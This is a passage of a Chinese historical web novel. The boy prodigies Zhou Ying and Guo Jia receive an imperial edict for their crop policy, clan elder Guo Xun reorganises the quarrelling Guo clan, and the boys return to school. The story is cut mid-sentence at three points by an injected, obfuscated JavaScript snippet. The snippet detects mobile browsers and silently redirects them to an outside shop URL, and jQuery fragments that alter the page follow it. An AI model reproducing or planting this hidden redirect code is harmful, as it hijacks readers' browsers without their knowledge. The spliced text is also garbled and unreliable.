“皇上知道这是周寡妇的两个孩子们献上的国策,也是龙颜大悦,你这个郭氏族长,遇到了这么两个宝贝,得好好供奉啊。”张县令说到这,语气都低了点,嘴上挂起几分笑,眼里头却清明的很。 郭勋一听这话,琢磨出了意思了。这是敲打他呢,先前郭氏做的那些事,郭氏里头的那些人,不服的,不满的,多了去了。 如今这事儿已经不是两个所谓的神童,捅出来的娄子。 而是朝廷要办,还要特事特办。 凡是阻碍,忤逆的,砍头都不为过。 郭勋挂着笑:“张大人说的是,提点的是,我这也是年老了,教出两个孽子孙,反倒是败坏门风,欺凌宗亲,真是……老脸都没地方放了!” 他说着,挤出鳄鱼泪来。 张智林见状,也就笑着不说话了,继续往前走:“今年种下的苗有多少?改了多少亩地?这些事情,郭老爷都得细细帮盯着,得到了明年六七月,这事情才算是真妥当了。” “是是是,这些我都看着呢!” 两个人你一言我一语往前走,绕了一圈后,这才转回郭府。 “朝廷叫我来宣旨,这样大的功劳,皇上心里喜欢,念在孤儿寡母,这些年日子想必难过,到底啊……都是皇上的子民啊,咱们的皇上仁慈,想给这两个孩子,赏点什么。” 张智林往前,跨进了门口,说着话的功夫,就走进了正堂。 郭勋不敢怠慢,早让人奉上了茶点。 这一掀袍坐下,拿起温热的瓷杯,轻轻刮了茶沫子,抿上一抿。张智林眯起眼,笑了笑:“上好的毛尖。” “是是。这茶,平日里老夫也舍不得拿出来,今日张大人光临寒舍,这才想着叫人泡一壶,给大人润润嗓子。” 郭勋这会儿不老眼昏花了,也不颤颤巍巍了,更不用人搀扶了,小步迈着,走到位置上一屁股坐下。 张智林闻言,倒是把茶放下:“好了,这恭维啊,还是先往后稍一些。咱们呢,只要把这事儿办妥了,就比什么都好使,两位小神童呢?” “早就叫人去喊了,这会儿……估摸着刚下学呢。” “那就等等吧。” 不过多时,大门口走进来两个少年人,一人身着月白长衫,披浅色素纱,暗纹流波间,只觉翩翩独立。 一人身着浅蓝程子衣,丝绦绑着发髻,随风而动,脚步轻灵。 两人正是刚下了学的周盈和郭嘉。方一出门,就听到马夫的消息,这才匆匆赶来。 入了门,见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17762546|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 坐在上方的张智林,二人行礼开口:“草民周盈/郭嘉,见过张县令。” 张智林闻言,左右打量了一番,心里赞叹不已,好两个智计过人,聪慧机敏,生的样貌周正,周身气度不凡,果非寻常人。 事关国策,两人的策论,如今早就被曹谨行呈上朝廷,弄的朝野都震荡了一番,其中便撰抄下发给了张智林。 读之,张智林只觉如逢甘霖,在这满是倾轧的官场,却还有这样的人在? 后来才了解,原来是山阴县的两个神童所写。 这才紧赶慢赶着,到了地方,便第一时间来郭府。 大约是安静的时间太长,郭嘉都有些疑惑了,他稍稍抬起头看了一眼张智林。 这一眼,便对视上了。 张智林笑了笑,开口道:“快快请起,两位神童之名,本官略有耳闻。” “今日前来,也是为要事。” 听了这话,周盈才直起身,看了一眼郭嘉,两个人心里都有了个猜想。 只见,那张智林站起身,从袖子里拿出一卷明黄绢帛,几个人的神情顿然一变。 郭嘉显然没反应过来,他看着觉得稀奇。倒是周盈明白了怎么一回事,手拽着郭嘉扑通一声。 那声音,听着就挺带劲的。 郭奉孝龇着牙,心里啧了一声,还真是庙小妖风大,越没本事规矩越多。 烦! 他心里的嘀咕,张智林是不知道的,这会儿张智林见几人下跪接旨,便展开圣旨,声音中气十足。 “奉天承运皇帝,敕曰: 朕绍承天命,抚育万方,夙夜孜孜,以求贤养士为本。兹闻浙江绍兴府山阴县童生周盈、郭嘉,幼失怙恃…… ……更能体察民瘼。今岁献番薯、玉米嘉种于朝,条陈试种之策,深契朕重农厚生之意。巡盐御史曹谨行、布政使吕纯如交章荐其才德,朕心嘉悦。” “孝为百行之原,才为经世之器。尔等以童稚之年,行卓异之事,可谓难矣。特降殊恩,用彰风化: 敕封,周盈、郭嘉并为“孝童”,旌表门闾,昭其至行。 着提,学官录其名于官籍,特准一体乡试,免其童试,许以秀才身份,俟机应举。 母以子贵,教有贤声。郭氏(郭怡)、周氏(周瑶)守节抚孤,贞慈并著,各赐封“五品宜人”,给诰命,服色从荣。 赏内帑银壹百两,为读书之资,兼恤寒素。 赐御书“忠孝济世”匾额一方,悬于门首,永耀家声。 尔其勉力进修,俟学成之日(指中举后),朕将亲擢于御前,试以经国之道,量才擢用。” 后面的话周盈是完全没听进去,只有那六条,是整个圣诏的之所在。这道诏书明摆着,两个人罪臣眷属的枷锁彻底被解开了,不但解开,将来功名前程大有可为!更重要的是,为两个母亲加封了诰命夫人,这一点是他最开心和欣慰的,总归是苦尽甘来了啊。 他心里对自己的那些功名封赏并不太看重,但身边人过的好,他是很喜欢的。 因而,脸上的表演也就更热切了, 53.第 53 章 一旁跪着的郭嘉此时,也不免的有些惊讶,没成想这皇帝,也挺大方的嘛,不但给了两个人功名,直接免去童试,还给两位母亲封了诰命,更不用提那赏赐和牌匾了。 这是要在绍兴府,甚至整个浙东都出名了。 张智林的声音随着最后两个“钦此”而停下,手合上圣旨,看着几个跪在地上的人。 两位小神童激动,且尚能维持情绪。郭勋这会儿直接老泪纵横,两眼泪汪汪,整个人已经开始发抖起来。 “郭氏祖宗有眼!咱们郭氏,要出神童了!” 他声音颤抖着,情绪激动的几乎是站都站不起来。 周盈起身,看了一眼屋里这会儿都没什么人,使了个眼色。 郭嘉:……? 郭奉孝心里啧了一声,不乐意归不乐意,脸上还是一副喜极而泣的表情,走过去,手一拽郭勋胳膊,郭小伙力气就是大!猛的就把人提溜起来。 “老祖宗,起来吧,这是好事啊,快接旨,咱们家有出息了。” “是、是!说的是。”郭勋擦了眼泪,往前走了一步,手接过张智林递过来的圣旨。 “好了,这事情也办妥了,两位小神童,本官也都见过了,果真仪表不凡,天资聪颖,好好学习,将来考上了功名,皇上也等着亲眼瞧瞧呢。”张智林颔首,眼里带了几分笑意。 “哎!草民知道!张大人放心!这事情我豁出命也要办妥当。”郭勋这会儿立刻打起包票来了,端的是一副护犊子的大家长模样。 郭嘉心里呵呵一笑,看了一眼周盈,两人心里都明白,老狐狸就是老狐狸,哪里讨得了好,就往哪里钻。 左右不过是利益的问题,成年人的世界哪有那么多感情可言? 这也好,毕竟两个人压根也不在乎那些东西,只要最终结果对他们有益就行了。 送走了张智林,郭勋转身看着两人,露出一副笑来:“这都这么晚了,在家里吃饭吧?回去还有点路呢。” “呃…唔!”刚想开口拒绝的郭嘉皱了皱眉头,挪到背后把拧他后腰的手拍掉。 “也、也行啊,反正郭府也是我们俩,老祖宗提起,我们吃个饭也不是不可以嘛。” “对吧?兄长?” 周盈莞尔:“自然。” 大街上,这会儿还没到过年的时候,郭府门外就开始点起了炮仗,惹得附近的左邻右舍都好奇的八卦着。 只见,郭府几个手脚利索的仆人抬出两箱东西,往那台阶上一放,郭勋今日满面红光,由着左右女眷搀扶走出来。 走到门口,清了清嗓子,声音都比平时洪亮了些:“诸位乡亲!今日郭府有喜,蒙天子隆恩,浩荡天威泽被郭府!老夫感念圣恩,亦不忘诸位多年乡里情谊。” 他手指向那一箩筐的东西又开口道:“这些东西我,也全是老夫的一些小心意,不多,也就一些玉米番薯的,诸位可拿回去尝尝鲜,沾沾这嘉种喜气!” “那玉米窝头是甜的,可拿些给孩子们吃,不必客气。” 几个围观的顿时瞪大眼睛,看郭老爷这会都没半点老态,反而是精神抖擞,好不气派。 “哟,难道是周神童和郭神童的事情,被皇上知道了?” “皇上是给翻了案子不成?” 那鞭炮声随着众人好奇,引的周围人越发聚拢,郭勋哈哈一笑,直接在门口,就把周盈和郭嘉干的事,夸大其词的说了一遍、两遍、三遍。 呃…… 显然,都不用到明天,等那封圣旨贴上告示,今晚整个山阴县,都会知道山阴双“孝童”的宏伟事迹了。 打了个阿嚏的郭嘉,皱了皱眉。 屋里坐满了一群人,先前派人去叫了周瑶和郭怡,两个人本还在酒坊里忙活,听到了这么大个消息,整个人当场愣在原地。 等回过神,早就泪流了满面。 两个妯娌搭伙过了七八年的日子,其中艰辛可想而知,如今孩子有了大出息,母亲们也是欣慰高兴。 回了家就收拾收拾,打扮了一番,连带着平日里舍不得穿的丝绸衣裳都掏了出来。 这会儿,周瑶穿着浅绿合领对襟褙子,下方素□□缎马面裙,竖起的发上只点缀了一根银簪,整个人看起来干练又有气质。 一旁给郭嘉夹着菜的郭怡,则穿了身浅粉,绸缎的衣裳暗纹流光溢彩,衬得她气色极好。 屋里头的女眷们见状,心思各异。 这事情,郭勋早就吩咐了下去,如今整个郭氏都知道了!原先里,那些不满的,这会儿是银牙都咬碎了,便是饭都不来吃。 “怡妹妹这些年,竟也不见老态,整个人年轻的,倒还像个姑娘似的。”有人开口说了这么一句。 一时间席上的众多女眷便都开口你一言我一语了起来。 “是啊,这些年日子怕是难过?如今可算是苦尽甘来,咱们看着也欣慰啊。” “切,不知道是谁,先前私下头有多看不起人家,如今怡妹得了诰命,倒开始来巴结了。” “……你!” 周盈放下筷子,他已经吃饱了,听着席间的声音,颇觉头疼。 真是不太喜欢这种热闹的场景啊。 眼见着席上几个不对付的女眷语气带着些火药味儿,开口的男人便喝了一声:“行了,今天是大喜事,轮得着你们在这儿扯那些鸡毛蒜皮的事情吗?” “有点本事,倒不如自己生个出息儿子!” “怎么了?”从门口进来的郭勋,脸上喜色未退,恰好听到了这一声呵斥,目光一转,看了一眼众人。 “是谁,在这么大喜的日子里,给我的好孙儿们甩脸色?” “……”老祖宗,你这脸变得,比戏曲都快。 那开口的男人脸上挂着笑:“哪的话,就是几个女眷叫了怡妹,想说说话而已。” “嗯,好歹是一家人,都坐吧,我要吩咐一件事。” 一群人闻言,也就都安静了下来。 老祖宗郭勋坐到正位上,随后跟在一旁的老管家,从袖子里掏出一本小册子。 有人眼尖,看出了是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17765544|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 郭氏族谱,一时间眼皮猛跳。 “今日,承天子圣恩。郭氏一门光耀门楣,皆系嘉儿、盈儿二身。尔等妯娌,已亲如姊妹。祖宗家业,未来所托,亦在于此。” “故,老夫决议: 其一,为周盈、郭嘉二人,于宗祠之侧,特立‘贤裔堂’。 不入旧谱纷争,自开一脉清流。凡二人之功绩、所受皇恩御赐,皆载于此堂,光耀千古。 其母周氏、郭氏,灵位将来亦入此堂,永享祭祀。” 这话一出口,直接炸锅了! 有男眷拍桌而起:“老祖宗!这单开族谱不合适!怎能如此?!” “就是!咱们祖宗之法,从没有过这样的事情,这是破坏规矩了!” 郭勋闻言,冷哼一声,将手上筷子猛的一丢,看了几个面露不忿之人:“我还没说完,急什么?” “其二,即日起,郭氏所有田产、商铺、人丁册簿,交由嘉儿、盈儿总理。 但念学业为重,不可为俗物所累,故而,需二位母亲帮衬,从郭氏里面选几个合适的人,进行管理打点,凡有贪墨、私吞、账目问题,一一细查!我绝不姑息!” “我郭氏在山阴这么久,底下的子孙后代,真是越发不懂规矩!越发没了底线!今日不清扫一屋,将来必为其所累!” 这话不但惊到了坐在席位上的一群人,连带着周盈和郭嘉都诧异了些, 郭勋,这是唱的什么戏?真打算悔过自新了? 郭勋看了一圈一众人的神情,有的脸黑着,有的脸一白,有的不忿,有的冷着脸,总归是没一个脸上开心的。 他当然明白,这些人手底下都不干净,仗着郭氏名头我,霸凌乡民的事情,干的还少吗? 以前睁一只眼闭一只眼,也是因为郭氏就这样了,郭三越不成器,郭尧也是个蠢材。 而今,郭嘉等人得了圣旨,如今前程可期,他怎能!让自己人,自毁长城! 这么想着,郭勋眯起眼,眼神都锐利点:“其三,此番圣旨涉及番薯玉米之新政,乃郭氏头等要务,联合张杨二家,特设劝农司,专款专用,独立核算,谁敢贪墨,谁敢绊脚,一律视为悖逆家规,宗法处置!别怪我没早警告你们!” “……” 他话说完,屋里头噤若寒蝉,没有谁开口说话。 周瑶皱眉,低头看了一眼这会儿长睫毛一扫一扫,正安静吃着点心的周盈。 “盈儿,此事…我等外姓人,如何进的了郭氏宗祠?” 这事,确实有些破格了。 周盈听了此番话,立刻明白了郭勋的意思,这哪里是为了让两人归入郭氏宗祠,分明是看明白了郭嘉是跟着他的,若他离了郭氏,那郭嘉也不会留在这。 破个格,就能把两个名声远扬,连皇上都欣赏的神童留在郭氏,这买卖,是个正常人都眼巴巴馋! “无妨,娘亲有好处,拿着就是,这也是儿子想给娘亲的。”周盈抬头一笑,看着周瑶眼尾褶皱,不免感慨。 真是苦尽甘来了。 54.第 54 章 这些年的付出,他是都看在眼里的,而今也不过是一个五品诰命的荣誉,一个归入宗祠的好处。 是母亲应得的! 且还远不够。 屋里的一群郭氏子孙听了这话,有的直接反驳起来:“老祖宗这样的做法,恕咱们这些做后辈的不能答应!” “郭怡和她儿子也就算了!那周瑶一个外姓的,怎么能让她儿子入咱们郭氏祠堂?这不是鸠占鹊巢吗!” “是啊,老祖宗,咱们虽是不成器的子孙,但好歹流的都是自己人的血,您就算是要宠郭嘉,也不能把外人往咱们家里接吧?岂有这般道理?” 怒气冲冲的几个年轻的、中年的郭氏子弟,这会儿饭也吃不下了,本来心里头就不是滋味儿,酸溜溜的,这会儿郭勋再这样一弄,把整个郭氏的宗祠都要拱手相让了! 大家伙是想着郭三越被逐出门,郭氏没了嫡系,几个旁支的就都有的争了,这会儿横刀插进两个拦路虎,其中一个还是外姓。 他们岂能忍得了?! 这样下去,这个郭氏里头,还有他们的位置吗? 郭勋听着一群人你一言我一句的,全都是为自己那点一己之私斤斤计较,看了一眼坐在位置上拿着筷子,安静吃饭的郭嘉,只觉这个小孙儿,真是怎么看怎么稳重。 大人们吵的翻天了,他却还闲庭自若,不急不缓,有大将之风。 再看坐在左侧的周盈,这会儿放下筷子,坐在位置上,一副端坐得体的模样,显然不为这些琐碎吵嚷所动。 两个母亲也都没管这鸡飞狗跳的郭府宴席,自顾自的剥了虾,掰了螃蟹,给孩子们挑的都是大个的。 郭奉孝:其实我是真饿了,天大的事都得先吃饱了再说! 周盈:……有点撑。 周瑶:得狠吃一顿他们家的!可算扬眉吐气了!我儿多吃点! 郭怡:嘉儿吃这个、吃那个!娘给你剥!吃慢点巴拉巴拉… 诶…… 郭勋心里深叹一口气,脸上的不虞越发阴沉:“够了!这大喜的日子,你们要闹到什么时候!闹得这么难看,是想让列祖列宗都知道,他的后辈子孙没出息的样子吗!啊?!” “这、这一码事归一码事!老祖宗,这是在掘我们郭家的根啊!” “哼,你们这些狗东西,天天仗着郭氏名声,在外面胡作非为,当我是真不知道?我老了,但还没糊涂!那些账册,那些田产,要不要我找人细细盘算,一点点跟你们算?” 郭勋气的胸膛起伏,饭也吃不下了。他这话说出来,一群人就脸色古怪三分,你看我我看你,大家伙一个屁都憋不出来。 也就这会儿功夫,郭嘉吃饱了,放下筷子开口道: “老祖宗,我有问题,这国策是重中之重,要实行需得大家伙拧成一股绳,但我看,这些族里不少人,对皇上的这道政策都颇有非议?这事情,要不还是报官吧,让张县令来判一判?省的有人总说是老祖宗偏心。” “你!”先前吵得最凶的几个气急。这谁都知道,这件事情不能捅出去!郭嘉这话,偏拿了国策压人,谁受得了? 周盈见状,起身行了一礼,见屋内所有人都看向他,也不拘谨,只是含笑开口道:“此也是老祖宗为了国策护航,才提出这三条家规,诸位都是郭氏的子弟,吵归吵,但总得吵出个名堂来。如果有谁不满老祖宗的话,也可以按自己想法,提个意见如何?” “……” “诶,好歹是大喜日子,今日老祖宗开心,吵的这么凶,大家伙却提不出什么建议,这是对老祖宗不满,还是……对国策不满呢?” 几个人瞪大眼,有人当即起身指着驳斥:“周氏小儿,你一个外姓人!安敢在郭府放肆?你跟你娘,果真都是商贾之流,一路货色!蛰伏算计,沽誉钓名!逼的老祖宗逐出郭三越和郭尧,为的就是有朝一日踏进咱们郭府的门,直接吃绝户不是?!” 这嘴炮,直接朝着撕破脸开始轰了。 周盈冷下脸,骂他可以,但是骂他在乎的人,这是不行的。 他笑了起来,黑眸里头的星碎尖锐如刺,声音嘹亮一提:“哦?那你说,咱们早先,刚来山阴县,是谁闭门不开,连那原该是郭娘的三十亩祖田,都不肯给?这是要逼死孤儿寡母,何其心肠歹毒!你们是不知吗?!” “现今,郭三越和郭尧,因其恶果累累而被逐出家门,尔等反倒是跳出来为其辩护,居的是什么心!安的是什么理?审的……又是什么公?!” 郭嘉坐在边上,给周盈默默鼓了个掌,平日里只有他开口炮轰的份儿,还真不怎么见过周盈火力全开的时候。 说实在,一般看着端庄稳重的人,发起火来是更要命的。 瞧着整个屋里头,一时间都被骂的人张不开嘴,脸色一阵青一阵白,郭勋也都有些抹不开脸的微微垂下头。 “我问你们,郭三越和郭尧的事,是朝廷钦差办的案子,你们如今不满,是对朝廷不满吗?” “再问,那国策下发,沈县令亲读的圣旨,皇上过眼的大事!你们在这吵,想吵什么?吵着造反吗!” 周盈冷哼一声,一扬袖,指着之前吵得最凶的那个中年人:“回话!起来!” “我没这样讲!我是说,国策跟老祖宗说的前两条没有关系!”中年人抿了抿唇,站起身,开口声音也没那么大了。 “说得好,你叫什么名字?” 那人愣了愣:“郭恒。” “好,那我告诉你。” 周盈笑了笑,随后便伸手,拿起桌上倒了玉米酒的杯子晃了晃:“古有云:水能载舟亦能覆舟。” “今,郭氏临飞黄腾达之机遇,却步危如渊薮之险境。数十年盘局山阴县,其下账目田产不计其数,郭氏子孙福泽绵延,光是靠着收租吃饭,都能一辈子荣华富贵。” “但你们想没想过,朝廷把这么大的担子落到我们头上,让张县令都要配合我们,这是为了什么?是看中了我们什么?” 屋内一群人都没往这个方向细想,这会儿心里不满,听了亦觉厌烦,只有少几个听了若有所思了一些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771357|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 周盈手中杯子一倾斜,众人便见那米酒缓缓顺着杯口下流:“无德者,不足以于渊薮之上行走,无才者,不足以于江海之上载船而过。” “国策之事干系重大,所谓:攘外必先安内。清田产,整家风,肃宗亲,是为了将内部那些蛀虫扒出来,是为了让旁看着的一些敌人,抓不到把柄,也是为了救你们。” “一个姓的,谁出事了,你们能讨得了好?” “哼,你一个外姓,说到底也不是郭氏的人,我们不信你。”有人嘀咕,心里还是不服气。 郭嘉突然开口:“那国策都是他提的,你要是不服,也写份策论,让皇上刮目相看,让朝廷也封你娘一个五品诰命。” “……”能不能不提这个扎心话。 郭勋深吸一口气:“听到了?还有谁不服?要是谁敢再公然阻挠,就是要把郭氏往死路引!这样的不肖子孙,直接除名赶出郭氏!” 他说完,气得直哆嗦站起身,手拿起拐杖,被管家搀扶着,慢悠悠地往外走去。 事情板上钉钉,有人不满,有人心里腹诽,有人吓得脸色发白,有人心虚慌张,总归是千人千态,不尽相同。 一场原以庆祝摆的家宴,就这样不欢而散了。 当然,周盈和郭嘉,以及两个母亲不在其列。 吃完饭就开始打哈欠的郭嘉,在马车上紧挨着周盈:“你刚才,在席上挥斥方遒的样子,还真像我以前认识的那个周盈。” “嗯?为什么这么说?”周盈好奇。 “诶,自来到这儿,你我忍气吞声,一口气憋了七年多,我都快忘了当年你我二人刚认识的时候,是什么样了。” 周盈闻言,忍俊不禁,朝着他看过去:“那不一样,什么身份用什么办法。而今再不用你我蛰伏算计,该把本事拿出来的时候,就要大大方方展示。” 郭嘉一笑,弯的眼睛跟个小狐狸似的:“此言甚合我意。” “不过,郭勋这个老狐狸,把这脏活累活,都丢给了我们,如今你我也是骑虎难下了。” 周盈叹了口气,他如何不知郭勋心里算盘呢?自家人对自家人动手,一定会落个刻薄寡恩的名头,他这个外姓人来清扫门庭,那就是最合适不过的。 郭氏积弊已久,如栋梁,外看光鲜亮丽,实则内里早已掏空。若不整顿一番,推行番薯玉米的政策,只怕容易被人抓了把柄,到时候往朝廷一告,就全完了。 “现在也只能走一步算一步了。” “嗯?这可不像是你会说的话。” 夜色下,两辆马车一前一后,摇摇晃晃令人睡意朦胧。 周盈打了个哈欠,实在有些晚,听了他的戏谑,也是无奈:“那奉孝可还有什么好的办法?” 嗯…… 郭嘉思忖,啧了一声:“也确实如此,以后要见招拆招了。” 很多事情,也不是自己想当然,就能如何的,计划总是赶不上变化。 “走吧,下车了,今天也是太晚了,明儿再谈谈关于国策的事情。” 55.第 55 章 第二日,一早。 经昨夜发酵,山阴县这会儿无人不知无人不晓,周寡妇家两个孩子,得了皇上封赏,进了皇上眼里! 这不,一大早,官府衙门边上的告示牌上,就已经挂起了皇榜御旨。 “周寡妇可算是熬出头了!这孩子有了出息,马上就带着娘过上好日子了!” “是啊,我早就看出来,这俩小孩讨喜!如今连万岁爷都看着喜欢呢!” “这直接跳了童考,岂不是七八岁……就要考乡试了?” “哼,岂有此理!七八岁的小娃娃,胆敢置喙朝廷国事,实在是无稽之谈!” 一群人心思各异,大部分乡里乡亲的都为周寡妇一家开心,少有的一些则脸上神情各异,也有的心里醋溜溜的。 当然,今日山阴县的同龄孩子们,怕是少不了被自家爹妈攻击:看看周寡妇家的孩子!再看看你! 嗯,这就是和天才住的太近的痛苦了。 往私塾赶的张岱这会儿嘴里叼了块烧饼,他前些天都忙着打点事情,把朝廷下发的那些国策大概与张家人都说了说。 和郭氏比,张家到底是官宦人家,知道这事情兹事体大,连张岱老爹这会儿,都不抄起棍子骂他没出息,就知道鬼混了。 一天到晚,老爹都笑呵呵的,把张岱看的鸡皮疙瘩都起来了。 当然,也正是因为如此,这一大早起晚了嘛,上课要迟到了! “少、少爷!那告示牌上贴了圣旨!说是皇上封赏了周寡妇一家!今儿的乡里乡亲都赶过来看呢!” 小跑过来的小厮擦了擦汗,脸上也满是喜色,指着那头人山人海的官府衙门。 张岱闻言,眉头一挑,嘴里的烧饼都不香了。不是吧,两位小师弟,人家还在死里苦读,就为了一朝考上功名,入朝为官。 你们倒好,直接一封策论,一招搅混水,把自个儿身价搅上天了? 张岱啧啧称奇,此乃妖孽啊。 手上烧饼往嘴里塞,咀嚼片刻后皱起眉:“要命,等今儿回去,估计我爹又要骂我了。” “走走走,再不走上课迟到了!等会得吃夫子教训。”手上烧饼吃完,张岱也是心里呜呼哀哉,跟两个妖孽同为一班,等会儿还得去田里种地! 潘岳私塾,此时此刻,早就炸锅了。 当然,身为当事人的周盈和郭嘉,在一踏入私塾大门的时候,就受到了一众师兄弟们的热烈欢迎。 那阵仗,差点把两人衣服都扒了。 “哎!别跑啊周师弟!师兄只是好奇你那份策论!” “对啊对啊!都是师兄弟,做师兄的有些地方不懂,问问师弟也是应该的对不对!” “是呀!郭师弟!郭师弟前些天咱们还聊过天呢!” 眼看着身后跟了一群乌泱泱的人,郭嘉毛都炸起来了,手扶正了自己头上戴着的帽子,拽起周盈的手就是撒丫子狂奔。 真是要了命了,不就是一道圣旨吗!至于这么疯狂! 夫子救命!师兄们疯了!! 周盈心里此时那可谓是山呼海啸,如策马奔腾一般,跑动之间,只觉得脚下地面隐隐颤抖。 “不至于吧!” “疯狂!” 张岱抱着书,刚进私塾大门,就瞪大了眼睛,嘴都逐渐的张大了一些:“搞什么鬼名堂?你们干嘛呢!” 他心里这会儿也和周盈一样,如同策马奔腾,看着一群人追着前头两个影子,把整个知行广场都绕了一圈撞的桌子椅子东倒西歪不说。 一侧挂着的风铃竹帘,都被不小心扯了下来,破烂一般甩在地面上。 “哎、哎!别闹了!再闹下去私塾都要被你们拆了!”他见势不妙,这闹下去课还上不上了! 大约是听到了他的声音,郭嘉眼睛一亮:“张师兄!” 随后两道影子以迅雷不及掩耳之势,直接窜到了张岱身后。 张岱见着一群人直接扑了过来,那铺天盖地的阴影顿时把他彻底淹没! 连救命都没喊出来。 被杨业叫过来的几个夫子,早就在不远处听到了动静,小跑着走到知行广场,就看到让人血压飙升的一幕。 只见,周盈和郭嘉喘着气,扶着柱子站在边上,手哆嗦着,指着一群倒在地上,你压我我压你,哎哟哎哟直叫唤一群学生。 陈夫子:…… 章夫子:…… 林夫子:…… 其余夫子:…… 杨业:叹为观止。 “夫、夫子,张师兄还在底下被压着呢!快救人!”周盈喊了一声。 顿时几个人脸色一变,上前一步,声音严厉开口:“胡闹什么!知行广场是给你们玩闹的地方吗!赶紧起来!” 有些学生见到夫子们赶来,顿时脸一白,连滚带爬地爬了起来,不多时,原先摔在地上的一群人都站起身,一个个跟做错了事情的小鹌鹑,都不敢抬头。 倒在地上的张岱被压的那是眼冒金星,看着几个脑袋出现在自己的视野之中。 “呃…真是……岂有此理,尔等……好重。” “……”郭嘉捂脸。 “把人抬进去。”陈夫子皱眉,看了一眼张岱没什么大问题,只是可能脑子被压了一下,出现了一些暂时性的问题。 转头,看向一群瞎胡闹的学生,板起一张脸:“你们几个,且去屋内,罚抄孟子五遍,下学前交给我。” “啊?!” “啊什么?嫌少啊?” “不不不…” 一通的鸡飞狗跳过后,知行广场里头可谓是遍地狼藉,被罚打扫的几个学生也不敢大喘气什么,只得小声嘟囔。 屋内,张岱哎哟哎哟直叫唤,指着周盈和郭嘉两个人:“我这把老骨头,都要被你们折腾散架了。” “我说,你们两个闹得动静也太大了一些,今日一大早的,整个山阴县都传开了,估摸着都用不了多久,这江南地区啊,都得知道山阴双孝童的大名了。” 手上拿着药,给张岱擦着脸的杨业闻言,也是带了几分笑意:“这都不用别的地方,光看看咱们私塾,就知道小师弟们有多厉害了。” 郭嘉深叹 一口气,一副苦大仇深的模样:“你们可别笑话我和汝瑛了,今儿一早来私塾,一路上差点被人堵着不说,连进了私塾,都没的清净。” “至于吗?也就一封圣旨而已!” 杨业和张岱闻言,对视一眼,都从对方眼里看出几分不可置信。 欸?不是,小师弟你是真不在乎呢,还是假不在乎?这话听的怎么这么让人觉得……不是滋味? 两人都是没好气,异口同声开口道:“至于!” 杨业丢下手里的金疮药,走到周盈桌前,掀起衣摆坐下:“小师弟,漕运的事情打点的差不多了,前些天曹御史还到淮扬转了一圈,我们杨家那边的盐商,可出了不少血呢。” 周盈闻言,倒是放下笔,抬头看了他一眼,莞尔:“什么事情,你就直说吧,都是什么交情了,还用得着弯弯绕绕?” “哦,还是小师弟洞察人心。”杨业被一下子点破了想法,也有些不太好意思:“是这样,番薯和玉米的国策关系重大,事关乎地方之间的税策,光是我们出力,也是难办。” “你放心,朝廷那边,过不了多久,还会派人来的,这事儿既然皇上起了心思,就不会那么容易沉寂下去。” 周盈将桌上的纸拿起吹了吹,将墨迹吹干之后,放在了一侧。 写的是一些田亩产值几何、改种玉米番薯需花费本钱、以及要借给佃农们多少粮食的计算。 “嗯?小师弟,你怎么知道?”坐一旁的张岱都稀奇了,这料事如神啊? “这么大的事情,要是办成了,谁不想分点功劳呢?现在朝廷吵的那么厉害,要是有件事能让他们往外分心,我看皇上也是心里乐意的。再加上玉米番薯已经在我们这种出了名堂,连那玉米酿的酒都被曹谨行带走了几坛,这不就是白给的宣传吗?” 坐一旁的郭嘉直接开口,一张嘴直接把利害剖析给了几人听,听的张岱也是一愣一愣的。 “这样一来,我们的功劳岂不是要被人抢了?” “抢?抢得过?”周盈笑了起来,无奈摇头,叹道:“张师兄,我看啊,你还是先想着怎么好好学习,先考个举人,这样后头也算是好办事。” “啊?这和考举人有什么关系?” “起码,你脑子是盖章了的,合格了。” 这句话是郭嘉说的。 他说的话让周盈都没耳听。 “……” “我不是这个意思,你别听他的,我是说,你们张家,如今就靠着你爹撑着,你爹呢,官位也不大,朝廷里没什么人脉,将来要是要做些事情都不方便。” 周盈开口解释道:“总归还是要往朝廷里塞点自己人的,咱们好歹也都是浙东出去的,到时候看看,能不能往浙党那里借点有本事的人。” “怕是不妥。” 郭嘉皱眉开口:“现在这朝廷,我看浙党不成气候,皇上看中咱们,也是看中咱们的身份特殊,背了个矿税旧案在身上,谁要敢随便动我们,那都得戳破这个雷才成。但沈一贯早已被清算,这事儿动起来,那就要往前翻,翻皇帝的脸面。” 56.第 56 章 “正是如此,所以我才说,谁也不敢抢,谁也抢不了。我们要是真动起刀来,这矿税旧案,再加上皇上钦封孝童之名,还有功名傍身,又是番薯玉米改良推呈者。 有些脑子的,这会儿也不敢马上动我们。” 周盈接过话茬,顺着往下说,说的张岱和杨业恍然大悟。 “那就是说,咱们暂时安全的。” 